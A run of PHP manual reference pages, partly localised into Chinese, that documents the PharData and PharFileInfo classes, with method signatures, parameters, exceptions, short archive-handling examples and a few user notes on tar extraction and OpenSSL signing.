
错误／异常

Throws PharException if errors occur while flushing changes to disk.

示例

Example #1 A PharData::delMetaData() example

<?php
try {
$phar = new PharData('myphar.zip');
var_dump($phar->getMetadata());
$phar->setMetadata("hi there");
var_dump($phar->getMetadata());
$phar->delMetadata();
var_dump($phar->getMetadata());
} catch (Exception $e) {
// handle errors
}
?>

以上示例会输出：

NULL
string(8) "hi there"
NULL

参见

  • Phar::delMetadata() - Deletes the global metadata of the phar

User Contributed Notes

There are no user contributed notes for this page.


Delete a file within a tar/zip archive

  • ? PharData::delMetadata
  • PharData::__destruct ?
  • PHP Manual
  • PharData
  • Delete a file within a tar/zip archive

PharData::delete

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::delete — Delete a file within a tar/zip archive

说明

public PharData::delete(string $localName): bool

Delete a file within an archive. This is the functional equivalent of calling unlink() on the stream wrapper equivalent, as shown in the example below.

参数

localName

Path within an archive to the file to delete.

返回值

returns true on success, but it is better to check for thrown exception, and assume success if none is thrown.

错误／异常

Throws PharException if errors occur while flushing changes to disk.

示例

Example #1 A PharData::delete() example

<?php
try {
$phar = new PharData('myphar.zip');
$phar->delete('unlink/me.php');
// this is equivalent to:
unlink('phar://myphar.phar/unlink/me.php');
} catch (Exception $e) {
// handle errors
}
?>

参见

  • Phar::delete() - 删除 phar 档案中的一个文件

User Contributed Notes

There are no user contributed notes for this page.


Destructs a non-executable tar or zip archive object

  • ? PharData::delete
  • PharData::extractTo ?
  • PHP Manual
  • PharData
  • Destructs a non-executable tar or zip archive object

PharData::__destruct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::__destruct — Destructs a non-executable tar or zip archive object

说明

public PharData::__destruct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Extract the contents of a tar/zip archive to a directory

  • ? PharData::__destruct
  • PharData::isWritable ?
  • PHP Manual
  • PharData
  • Extract the contents of a tar/zip archive to a directory

PharData::extractTo

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::extractTo — Extract the contents of a tar/zip archive to a directory

说明

public PharData::extractTo(string $directory, array|string|null $files = null, bool $overwrite = false): bool

Extract all files within a tar/zip archive to disk. Extracted files and directories preserve permissions as stored in the archive. The optional parameters allow optional control over which files are extracted, and whether existing files on disk can be overwritten. The second parameter files can be either the name of a file or directory to extract, or an array of names of files and directories to extract. By default, this method will not overwrite existing files, the third parameter can be set to true to enable overwriting of files. This method is similar to ZipArchive::extractTo().

参数

directory

Path to extract the given files to

files

The name of a file or directory to extract, or an array of files/directories to extract

overwrite

Set to true to enable overwriting existing files

返回值

returns true on success, but it is better to check for thrown exception, and assume success if none is thrown.

错误／异常

Throws PharException if errors occur while flushing changes to disk.

示例

Example #1 A PharData::extractTo() example

<?php
try {
$phar = new PharData('myphar.tar');
$phar->extractTo('/full/path'); // extract all files
$phar->extractTo('/another/path', 'file.txt'); // extract only file.txt
$phar->extractTo('/this/path',
array('file1.txt', 'file2.txt')); // extract 2 files only
$phar->extractTo('/third/path', null, true); // extract all files, and overwrite
} catch (Exception $e) {
// handle errors
}
?>

注释

Note:

Windows NTFS file systems do not support some characters in filenames, namely <|>*?":. Filenames with a trailing dot are not supported either. Contrary to some extraction tools, this method does not replace these characters with an underscore, but instead fails to extract such files.

参见

  • Phar::extractTo() - Extract the contents of a phar archive to a directory

User Contributed Notes

Anonymous 08-Jun-2017 12:34
I'm unable to extract the first directory from a tar archive:
the destination dir remains empty,
no error is thrown

<?php
$tar = new \PharData('archive.tar');
if ($tar->current()->isDir()) {
                echo 'is_dir';
                $dir = $tar->current()->getPathname();
                $dir = basename($dir);
                $tar->extractTo('destination', $dir);
}
?>

the docs hint that the second param could be a name of file OR DIR to be extracted from the archive, is that really possible?
njh at aelius dot com 08-Mar-2013 11:34
Note that PHAR only supports extracting the 'ustar' variant of the tar archives.

Some systems (such as older versions of Mac OS X) generate the 'pax' format by default.

See here for more information:
http://php.net/manual/pl/phar.fileformat.tar.php


Returns true if the tar/zip archive can be modified

  • ? PharData::extractTo
  • PharData::offsetSet ?
  • PHP Manual
  • PharData
  • Returns true if the tar/zip archive can be modified

PharData::isWritable

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::isWritable — Returns true if the tar/zip archive can be modified

说明

public PharData::isWritable(): bool

This method returns true if the tar/zip archive on disk is not read-only. Unlike Phar::isWritable(), data-only tar/zip archives can be modified even if phar.readonly is set to 1.

参数

No parameters.

返回值

Returns true if the tar/zip archive can be modified

参见

  • Phar::canWrite() - Returns whether phar extension supports writing and creating phars
  • Phar::isWritable() - Returns true if the phar archive can be modified

User Contributed Notes

There are no user contributed notes for this page.


Set the contents of a file within the tar/zip to those of an external file or string

  • ? PharData::isWritable
  • PharData::offsetUnset ?
  • PHP Manual
  • PharData
  • Set the contents of a file within the tar/zip to those of an external file or string

PharData::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::offsetSet — Set the contents of a file within the tar/zip to those of an external file or string

说明

public PharData::offsetSet(string $localName, resource|string $value): void

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a tar/zip archive using array access brackets. offsetSet is used for modifying an existing file, or adding a new file to a tar/zip archive.

参数

localName

The filename (relative path) to modify in a tar or zip archive.

value

Content of the file.

返回值

No return values.

错误／异常

Throws PharException if there are any problems flushing changes made to the tar/zip archive to disk.

示例

Example #1 A PharData::offsetSet() example

offsetSet should not be accessed directly, but instead used via array access with the [] operator.

<?php
$p = new PharData('/path/to/my.tar');
try {
// calls offsetSet
$p['file.txt'] = 'Hi there';
} catch (Exception $e) {
echo 'Could not modify file.txt:', $e;
}
?>

注释

Note: PharData::addFile(), PharData::addFromString() and PharData::offsetSet() save a new phar archive each time they are called. If performance is a concern, PharData::buildFromDirectory() or PharData::buildFromIterator() should be used instead.

参见

  • Phar::offsetSet() - Set the contents of an internal file to those of an external file

User Contributed Notes

There are no user contributed notes for this page.


Remove a file from a tar/zip archive

  • ? PharData::offsetSet
  • PharData::setAlias ?
  • PHP Manual
  • PharData
  • Remove a file from a tar/zip archive

PharData::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::offsetUnset — Remove a file from a tar/zip archive

说明

public PharData::offsetUnset(string $localName): void

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a tar/zip archive using array access brackets. offsetUnset is used for deleting an existing file, and is called by the unset() language construct.

参数

localName

The filename (relative path) to modify in the tar/zip archive.

返回值

没有返回值。

错误／异常

Throws PharException if there are any problems flushing changes made to the tar/zip archive to disk.

示例

Example #1 A PharData::offsetUnset() example

<?php
$p = new PharData('/path/to/my.zip');
try {
// deletes file.txt from my.zip by calling offsetUnset
unset($p['file.txt']);
} catch (Exception $e) {
echo 'Could not delete file.txt: ', $e;
}
?>

参见

  • Phar::offsetUnset() - Remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.


Dummy function (Phar::setAlias is not valid for PharData)

  • ? PharData::offsetUnset
  • PharData::setDefaultStub ?
  • PHP Manual
  • PharData
  • Dummy function (Phar::setAlias is not valid for PharData)

PharData::setAlias

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::setAlias — Dummy function (Phar::setAlias is not valid for PharData)

说明

public PharData::setAlias(string $alias): bool

Non-executable tar/zip archives cannot have an alias, so this method simply throws an exception.

参数

alias

A shorthand string that this archive can be referred to in phar stream wrapper access. This parameter is ignored.

返回值

错误／异常

Throws PharException on all method calls

参见

  • Phar::setAlias() - Set the alias for the Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Dummy function (Phar::setDefaultStub is not valid for PharData)

  • ? PharData::setAlias
  • PharData::setMetadata ?
  • PHP Manual
  • PharData
  • Dummy function (Phar::setDefaultStub is not valid for PharData)

PharData::setDefaultStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::setDefaultStub — Dummy function (Phar::setDefaultStub is not valid for PharData)

说明

public PharData::setDefaultStub(?string $index = null, ?string $webIndex = null): bool

Non-executable tar/zip archives cannot have a stub, so this method simply throws an exception.

参数

index

Relative path within the phar archive to run if accessed on the command-line

webIndex

Relative path within the phar archive to run if accessed through a web browser

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

Throws PharException on all method calls

更新日志

版本 | 说明
8.0.0 | webIndex is nullable now.

参见

  • Phar::setDefaultStub() - Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

User Contributed Notes

There are no user contributed notes for this page.


Sets phar archive meta-data

  • ? PharData::setDefaultStub
  • PharData::setSignatureAlgorithm ?
  • PHP Manual
  • PharData
  • Sets phar archive meta-data

PharData::setMetadata

(No version information available, might only be in Git)

PharData::setMetadata — Sets phar archive meta-data

说明

public PharData::setMetadata(mixed $metadata): void

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

Phar::setMetadata() should be used to store customized data that describes something about the phar archive as a complete entity. PharFileInfo::setMetadata() should be used for file-specific meta-data. Meta-data can slow down the performance of loading a phar archive if the data is large.

Some possible uses for meta-data include specifying which file within the archive should be used to bootstrap the archive, or the location of a file manifest like » PEAR's package.xml file. However, any useful data that describes the phar archive may be stored.

参数

metadata

Any PHP variable containing information to store that describes the phar archive

返回值

没有返回值。

示例

Example #1 A Phar::setMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.php'] = '<?php echo "hello"';
$p->setMetadata(array('bootstrap' => 'file.php'));
var_dump($p->getMetadata());
} catch (Exception $e) {
echo 'Could not create and/or modify phar:', $e;
}
?>

以上示例会输出：

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

参见

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.


Set the signature algorithm for a phar and apply it

  • ? PharData::setMetadata
  • PharData::setStub ?
  • PHP Manual
  • PharData
  • Set the signature algorithm for a phar and apply it

PharData::setSignatureAlgorithm

(No version information available, might only be in Git)

PharData::setSignatureAlgorithm — Set the signature algorithm for a phar and apply it

说明

public PharData::setSignatureAlgorithm(int $algo, ?string $privateKey = null): void

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

Set the signature algorithm for a phar and apply it. The signature algorithm must be one of Phar::MD5, Phar::SHA1, Phar::SHA256, Phar::SHA512, or Phar::OPENSSL.

参数

algo

    One of Phar::MD5,
Phar::SHA1, Phar::SHA256,
Phar::SHA512, or Phar::OPENSSL

返回值

没有返回值。

错误／异常

Throws UnexpectedValueException for many errors, BadMethodCallException if called for a zip- or a tar-based phar archive, and a PharException if any problems occur flushing changes to disk.

更新日志

版本 | 说明
8.0.0 | privateKey is now nullable.

参见

  • Phar::getSupportedSignatures() - Return array of supported signature types
  • Phar::getSignature() - Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

User Contributed Notes

obsidian[at-nospam]codebite[dot]net 14-Jun-2011 02:06
As a note, the docs don't show the (optional) second parameter nor mention the existence of the Phar::OPENSSL class constant also available for use with this method.

To sign a phar with OpenSSL, for example...

<?php

$phar = new Phar('somephar.phar');
// ... add your files and such
$phar->setSignatureAlgorithm(Phar::OPENSSL, file_get_contents('private_key_here.pem'));
// ... do whatever else you want afterwards here ...
?>

Hope this proves useful to someone.


Dummy function (Phar::setStub is not valid for PharData)

  • ? PharData::setSignatureAlgorithm
  • PharFileInfo ?
  • PHP Manual
  • PharData
  • Dummy function (Phar::setStub is not valid for PharData)

PharData::setStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::setStub — Dummy function (Phar::setStub is not valid for PharData)

说明

public PharData::setStub(string $stub, int $len = -1): bool

Non-executable tar/zip archives cannot have a stub, so this method simply throws an exception.

参数

stub

A string or an open stream handle to use as the executable stub for this phar archive. This parameter is ignored.

len

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

Throws PharException on all method calls

参见

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.


The PharFileInfo class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

简介

The PharFileInfo class provides a high-level interface to the contents and attributes of a single file within a phar archive.

类摘要

class PharFileInfo extends SplFileInfo {
/* 方法 */
public __construct(string $filename)
public chmod(int $perms): void
public compress(int $compression): bool
public decompress(): bool
public delMetadata(): bool
public getCRC32(): int
public getCompressedSize(): int
public getContent(): string
public getMetadata(array $unserializeOptions = []): mixed
public getPharFlags(): int
public hasMetadata(): bool
public isCRCChecked(): bool
public isCompressed(?int $compression = null): bool
public setMetadata(mixed $metadata): void
public __destruct()
/* 继承的方法 */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Table of Contents

  • PharFileInfo::chmod — Sets file-specific permission bits
  • PharFileInfo::compress — Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::__construct — Construct a Phar entry object
  • PharFileInfo::decompress — Decompresses the current Phar entry within the phar
  • PharFileInfo::delMetadata — Deletes the metadata of the entry
  • PharFileInfo::__destruct — Destructs a Phar entry object
  • PharFileInfo::getCRC32 — Returns CRC32 code or throws an exception if CRC has not been verified
  • PharFileInfo::getCompressedSize — Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::getContent — Get the complete file contents of the entry
  • PharFileInfo::getMetadata — Returns file-specific meta-data saved with a file
  • PharFileInfo::getPharFlags — Returns the Phar file entry flags
  • PharFileInfo::hasMetadata — Returns the metadata of the entry
  • PharFileInfo::isCRCChecked — Returns whether file entry has had its CRC verified
  • PharFileInfo::isCompressed — Returns whether the entry is compressed
  • PharFileInfo::setMetadata — Sets file-specific meta-data saved with a file

User Contributed Notes

There are no user contributed notes for this page.


Sets file-specific permission bits

  • ? PharFileInfo
  • PharFileInfo::compress ?
  • PHP Manual
  • PharFileInfo
  • Sets file-specific permission bits

PharFileInfo::chmod

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::chmod — Sets file-specific permission bits

说明

public PharFileInfo::chmod(int $perms): void

PharFileInfo::chmod() allows setting of the executable file permissions bit, as well as read-only bits. Writeable bits are ignored, and set at runtime based on the phar.readonly INI variable. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

参数

perms

permissions (see chmod())

返回值

没有返回值。

示例

Example #1 A PharFileInfo::chmod() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
$p = new Phar('brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.sh'] = '#!/usr/local/lib/php
<?php echo "hi"; ?>';
// set executable bit
$p['file.sh']->chmod(0555);
var_dump($p['file.sh']->isExecutable());
} catch (Exception $e) {
echo 'Could not create/modify phar: ', $e;
}
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Compresses the current Phar entry with either zlib or bzip2 compression

  • ? PharFileInfo::chmod
  • PharFileInfo::__construct ?
  • PHP Manual
  • PharFileInfo
  • Compresses the current Phar entry with either zlib or bzip2 compression

PharFileInfo::compress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharFileInfo::compress — Compresses the current Phar entry with either zlib or bzip2 compression

说明

public PharFileInfo::compress(int $compression): bool

This method compresses the file inside the Phar archive using either bzip2 compression or zlib compression. The bzip2 or zlib extension must be enabled to take advantage of this feature. In addition, if the file is already compressed, the respective extension must be enabled in order to decompress the file. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

参数

compression

Compression must be Phar::GZ or Phar::BZ2.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the bzip2/zlib extension is not available.

示例

Example #1 A PharFileInfo::compress() example

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
var_dump($file->isCompressed(Phar::BZ2));
$p['myfile.txt']->compress(Phar::BZ2);
var_dump($file->isCompressed(Phar::BZ2));
} catch (Exception $e) {
echo 'Create/modify operations on my.phar failed: ', $e;
}
?>

以上示例会输出：

bool(false)
bool(true)

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.


Construct a Phar entry object

  • ? PharFileInfo::compress
  • PharFileInfo::decompress ?
  • PHP Manual
  • PharFileInfo
  • Construct a Phar entry object

PharFileInfo::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::__construct — Construct a Phar entry object

说明

public PharFileInfo::__construct(string $filename)

This should not be called directly. Instead, a PharFileInfo object is initialized by calling Phar::offsetGet() through array access.

参数

filename

The full url to retrieve a file. If you wish to retrieve the information for the file my/file.php from the phar boo.phar, the entry should be phar://boo.phar/my/file.php.

错误／异常

Throws BadMethodCallException if __construct() is called twice. Throws UnexpectedValueException if the phar URL requested is malformed, the requested phar cannot be opened, or the file can't be found within the phar.

示例

Example #1 A PharFileInfo::__construct() example

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['testfile.txt'] = "hi\nthere\ndude";
$file = $p['testfile.txt'];
foreach ($file as $line => $text) {
echo "line number $line: $text";
}
// this also works
$file = new PharFileInfo('phar:///path/to/my.phar/testfile.txt');
foreach ($file as $line => $text) {
echo "line number $line: $text";
}
} catch (Exception $e) {
echo 'Phar operations failed: ', $e;
}
?>

以上示例会输出：

line number 1: hi
line number 2: there
line number 3: dude
line number 1: hi
line number 2: there
line number 3: dude

User Contributed Notes

There are no user contributed notes for this page.


Decompresses the current Phar entry within the phar

  • ? PharFileInfo::__construct
  • PharFileInfo::delMetadata ?
  • PHP Manual
  • PharFileInfo
  • Decompresses the current Phar entry within the phar

PharFileInfo::decompress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharFileInfo::decompress — Decompresses the current Phar entry within the phar

说明

public PharFileInfo::decompress(): bool

This method decompresses the file inside the Phar archive. Depending on how the file is compressed, the bzip2 or zlib extensions must be enabled to take advantage of this feature. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the bzip2/zlib extension is not available.

示例

Example #1 A PharFileInfo::decompress() example

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
$file->compress(Phar::GZ);
var_dump($file->isCompressed());
$p['myfile.txt']->decompress();
var_dump($file->isCompressed());
} catch (Exception $e) {
echo 'Create/modify failed for my.phar: ', $e;
}
?>

以上示例会输出：

int(4096)
bool(false)

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.


Deletes the metadata of the entry

  • ? PharFileInfo::decompress
  • PharFileInfo::__destruct ?
  • PHP Manual
  • PharFileInfo
  • Deletes the metadata of the entry

PharFileInfo::delMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

PharFileInfo::delMetadata — Deletes the metadata of the entry

说明

public PharFileInfo::delMetadata(): bool

Deletes the metadata of the entry, if any.

参数

No parameters.

返回值

Returns true if successful, false if the entry had no metadata. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

错误／异常

Throws PharException if errors occurred while flushing changes to disk, and BadMethodCallException if write access is disabled.

示例

Example #1 A PharFileInfo::delMetaData() example

<?php
try {
$a = new Phar('myphar.phar');
$a['hi'] = 'hi';
var_dump($a['hi']->delMetadata());
$a['hi']->setMetadata('there');
var_dump($a['hi']->delMetadata());
var_dump($a['hi']->delMetadata());
} catch (Exception $e) {
// handle errors
}
?>

以上示例会输出：

bool(false)
bool(true)
bool(false)

参见

  • PharFileInfo::setMetadata() - Sets file-specific meta-data saved with a file
  • PharFileInfo::hasMetadata() - Returns the metadata of the entry
  • PharFileInfo::getMetadata() - Returns file-specific meta-data saved with a file
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.


Destructs a Phar entry object

  • ? PharFileInfo::delMetadata
  • PharFileInfo::getCRC32 ?
  • PHP Manual
  • PharFileInfo
  • Destructs a Phar entry object

PharFileInfo::__destruct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::__destruct — Destructs a Phar entry object

说明

public PharFileInfo::__destruct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Returns CRC32 code or throws an exception if CRC has not been verified

  • ? PharFileInfo::__destruct
  • PharFileInfo::getCompressedSize ?
  • PHP Manual
  • PharFileInfo
  • Returns CRC32 code or throws an exception if CRC has not been verified

PharFileInfo::getCRC32

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::getCRC32 — Returns CRC32 code or throws an exception if CRC has not been verified

说明

public PharFileInfo::getCRC32(): int

This returns the crc32() checksum of the file within the Phar archive.

参数

此函数没有参数。

返回值

The crc32() checksum of the file within the Phar archive.

错误／异常

Throws BadMethodCallException if the file has not yet had its CRC32 verified. This should be impossible with normal use, as the CRC is verified upon opening the file for reading or writing.

示例

Example #1 A PharFileInfo::getCRC32() example

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
echo $file->getCRC32();
} catch (Exception $e) {
echo 'Write operations on my.phar.phar failed: ', $e;
}
?>

以上示例会输出：

3633523372

User Contributed Notes

There are no user contributed notes for this page.


Returns the actual size of the file (with compression) inside the Phar archive

  • ? PharFileInfo::getCRC32
  • PharFileInfo::getContent ?
  • PHP Manual
  • PharFileInfo
  • Returns the actual size of the file (with compression) inside the Phar archive

PharFileInfo::getCompressedSize

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::getCompressedSize — Returns the actual size of the file (with compression) inside the Phar archive

说明

public PharFileInfo::getCompressedSize(): int

This returns the size of the file within the Phar archive. Uncompressed files will return the same value for getCompressedSize as they will with filesize()

参数

此函数没有参数。

返回值

The size in bytes of the file within the Phar archive on disk.

示例

Example #1 A PharFileInfo::getCompressedSize() example

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
echo $file->getCompressedSize();
} catch (Exception $e) {
echo 'Write operations failed on my.phar: ', $e;
}
?>

以上示例会输出：

2

参见

  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compressFiles() - Compresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Get the complete file contents of the entry

  • ? PharFileInfo::getCompressedSize
  • PharFileInfo::getMetadata ?
  • PHP Manual
  • PharFileInfo
  • Get the complete file contents of the entry

PharFileInfo::getContent

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

PharFileInfo::getContent — Get the complete file contents of the entry

说明

public PharFileInfo::getContent(): string

This function behaves like file_get_contents() but for Phar.

参数

此函数没有参数。

返回值

Returns the file contents.

User Contributed Notes

There are no user contributed notes for this page.


Returns file-specific meta-data saved with a file

  • ? PharFileInfo::getContent
  • PharFileInfo::getPharFlags ?
  • PHP Manual
  • PharFileInfo
  • Returns file-specific meta-data saved with a file

PharFileInfo::getMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::getMetadata — Returns file-specific meta-data saved with a file

说明

public PharFileInfo::getMetadata(array $unserializeOptions = []): mixed

Return meta-data that was saved in the Phar archive's manifest for this file.

参数

返回值

any PHP variable that can be serialized and is stored as meta-data for the file, or null if no meta-data is stored.

更新日志

版本 | 说明
8.0.0 | The parameter unserializeOptions has been added.

示例

Example #1 A PharFileInfo::getMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.txt'] = 'hello';
$p['file.txt']->setMetadata(array('user' => 'bill', 'mime-type' => 'text/plain'));
var_dump($p['file.txt']->getMetadata());
} catch (Exception $e) {
echo 'Could not create/modify brandnewphar.phar: ', $e;
}
?>

以上示例会输出：

array(2) {
  ["user"]=>
  string(4) "bill"
  ["mime-type"]=>
  string(10) "text/plain"
}

参见

  • PharFileInfo::setMetadata() - Sets file-specific meta-data saved with a file
  • PharFileInfo::hasMetadata() - Returns the metadata of the entry
  • PharFileInfo::delMetadata() - Deletes the metadata of the entry
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.


Returns the Phar file entry flags

  • ? PharFileInfo::getMetadata
  • PharFileInfo::hasMetadata ?
  • PHP Manual
  • PharFileInfo
  • Returns the Phar file entry flags

PharFileInfo::getPharFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::getPharFlags — Returns the Phar file entry flags

说明

public PharFileInfo::getPharFlags(): int

This returns the flags set in the manifest for a Phar. This will always return 0 in the current implementation.

参数

此函数没有参数。

返回值

The Phar flags (always 0 in the current implementation)

示例

Example #1 A PharFileInfo::getPharFlags() example

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
var_dump($file->getPharFlags());
} catch (Exception $e) {
echo 'Could not create/modify my.phar: ', $e;
}
?>

以上示例会输出：

int(0)

User Contributed Notes

There are no user contributed notes for this page.


Returns the metadata of the entry

  • ? PharFileInfo::getPharFlags
  • PharFileInfo::isCRCChecked ?
  • PHP Manual
  • PharFileInfo
  • Returns the metadata of the entry

PharFileInfo::hasMetadata

